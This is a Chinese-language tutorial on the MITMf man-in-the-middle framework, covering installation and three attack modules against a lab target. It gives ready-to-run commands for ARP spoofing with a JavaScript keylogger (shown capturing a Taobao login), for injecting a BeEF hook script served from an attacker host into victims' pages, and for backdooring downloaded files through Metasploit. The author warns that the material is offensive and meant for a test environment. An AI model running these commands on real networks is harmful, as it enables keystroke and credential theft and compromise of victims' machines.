0x00. MITMF简介
MITMF其实就是一个基于python编写的中间人攻击的框架,就好比metaspoit一样,无比强大且但十分易用。下面笔者就给大家介绍一下它有哪些用途,本文具有攻击性,大家最好在自己的实验环境中使用。
0x01. MITMF安装
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file && apt-get install mitmf
pip uninstall twisted && wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2 && pip install ./Twisted-15.5.0.tar.bz2
pip install python-magic && git clone https://github.com/secretsquirrel/the-backdoor-factory.git && cd the-backdoor-factory && ./install.sh
0x02. jskeylogger模块
1. 启动MITMF的键盘记录模块(注:有时MITMF不能正常运行,但是笔者访问了http://127.0.0.1:9999之后却能运行成功,可能是什么BUG)
echo 1 > /proc/sys/net/ipv4/ip_forward && mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.106 --jskeylogger
2. 靶机登陆淘宝,查看效果(这里编码出了点问题)
0x03. --js-url模块
1. 启动beef,构造hook(注:beef的账号密码都是beef)
2. 启动--js-url模块向目标网页插入hook代码
echo 1 > /proc/sys/net/ipv4/ip_forward && mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.106 --inject --js-url http://192.168.1.105:3000/hook.js
3. 启动靶机访问任意页面,可以看到js 已经注入到页面当中,玩过beef的都知道它的强大,但是笔者的beef出了点问题,就不给大家演示了,有兴趣的可以自己去搜一下
0x04. --filepwn模块
1. 启动msf,加载msgrpc模块
service postgresql start && msfconsole
load msgrpc
2. 改写配置文件
gedit /usr/share/mitmf/config/mitmf.conf
3. 启动mitmf,开启filepwn,之后msf会自动加载几个exp进行侦听
echo 1 > /proc/sys/net/ipv4/ip_forward && mitmf --spoof –arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.106 --filepwn